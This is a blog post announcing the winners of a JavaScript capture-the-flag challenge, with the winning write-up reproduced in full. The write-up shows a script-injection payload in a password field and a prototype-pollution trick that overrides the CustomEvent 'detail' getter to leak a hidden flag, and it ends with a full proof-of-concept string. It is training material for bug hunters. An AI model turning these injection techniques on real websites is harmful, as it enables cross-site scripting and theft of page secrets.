DOJO CHALLENGE #12 Winners!

July 30, 2021

The #12th DOJO CHALLENGE was to find a way to retrieve a FLAG with some JavaScript, which was hidden inside an anonymous function. This DOJO was also special because it was created by one of our DOJO masters, aka Ivarsvids. Thanks to him for this great challenge!

💡 You want to create your own DOJO and publish it? Send us a message on Twitter!

WINNERS!

We are glad to announce the #12 DOJO Challenge winners list.

3 BEST WRITE-UP REPORTS

  • The best writeups reports were submitted by: zomsop82, Serizaoand Pinky

Subscribe to our Twitter or Linkedin feeds to be notified of the upcoming challenges.

Read on to find the best write-up as well as the challenge author’s recommendations.

The challenge

If only it were possible to use the password field to get the FLAG

See the challenge page >

We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

  • Ensure no copy-paste would occur.
  • Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.

BEST WRITE-UP REPORT

Pinky‘sreport was detailed, informative, and good at explaining the logic to understand how each Event works together and they can be used to finally retrieve the FLAG.

The others reports, notably Zomsop82‘s and Serizao‘s were also very nice, we’re sorry can’t publish them all because that’s where you clearly witness the outstanding creativity of our community.

Thank you all for playing with us!

Pinky‘s Write-Up


————– START OF Pinky REPORT ——————

Description

This dojo presents the challenge of leaking a flag that is randomly generated in a JavaScript EventTarget.

Exploitation

Looking at the JavaScript code there are a few things to notice. Lets start with the element we can control/manipulate to understand the application:

  1. The input field $password is injected as a parameter of the validate-function.
<script>
EventTarget = null;
validate("$password");
</script>

Since there are no character limitations, we can easily escape the validate function and inject our own code:

Setting $password: to ");alert(1);(" results in validate("");alert(1);(""); and pops an alert box upon execution. This is the easy part, the hard part is leaking the flag.

The flag is located in the custom EventTarget class Secret. A random value is assigned to it when a new object is created.

this.flag = `FLAG{${parseInt(Math.random() * Number.MAX_SAFE_INTEGER).toString(36)}}`;

Furthermore a event listener is registered, which listens for events of type “validate”.

this.addEventListener('validate', e => {
if (e.detail === this.flag){
result.innerHTML = 'Good! But can you leak the flag?';
}
else {
result.innerHTML = 'Wrong password!';
}
})

The second parameter of addEventListener is a function, which takes the Event source object and checks for a attribute detail. Depending on its value a different message is displayed. The Event itself is sent in a different class function called validate:

validate(text) {
this.dispatchEvent(new SecretEvent('validate', {detail: text}))
}

The class SecretEvent is nothing else but a CustomEvent, as we can see in the following code block: const SecretEvent = CustomEvent;

In order to get the flag we clearly have to pollute a prototype. There are two likely candidates in the two custom classes Secret and SecretEvent. Apparently the challenge would be too easy if we could pollute Secret‘s parent class EventTarget, since the challenge’s author included the following line EventTarget = null, which makes it impossible to pollute the class. Therefore the most likely candidate is SecretEvent.

Lets first take a quick look, how the SecretEvent object looks like at runtime. We can do so by changing the line result.innerHTML = 'Wrong password!'; to console.log(e); and run the whole script in a JavaScript console. When executing the validate function, we can now inspect how the object e looks like:

As we can see, both the flag and the detail attribute are present in the Event-object, which makes the CustomEvent class the obvious choice to pollute.

  1. Now lets do the actual polluting. We need to find a candidate function, which will be executed by the event listener, which we can overwrite with our own function. The only one I could spot was the getter-function for the detail attribute, which is called here: if (e.detail === this.flag){. Therefore it should be possible to pollute that getter with the following code:
new CustomEvent('')['__proto__'].__defineGetter__("detail",function(){alert(this.target.flag)});

Note that the chose function style here is crucial (which I only found out thanks to the hint on twitter). If we use an arrow function instead (()=>alert(this.target.flag)) it would not work since this refers to the global window object instead of the CustomEvent object. Therefore it would not be possible to leak the flag.

Putting all together, the POC consists of the following steps:

  1. close the validate function with ");
  2. pollute the prototype and overwrite the detail-getter with
new CustomEvent('')['__proto__'].__defineGetter__("detail",function(){alert(this.target.flag)});
    1. call the validate function again with validate("


As a result an alert box should pop containing the flag:

PoC

");new CustomEvent('')['__proto__'].__defineGetter__("detail",function(){alert(this.target.flag)}); validate("123

————– END OF Pinky REPORT ——————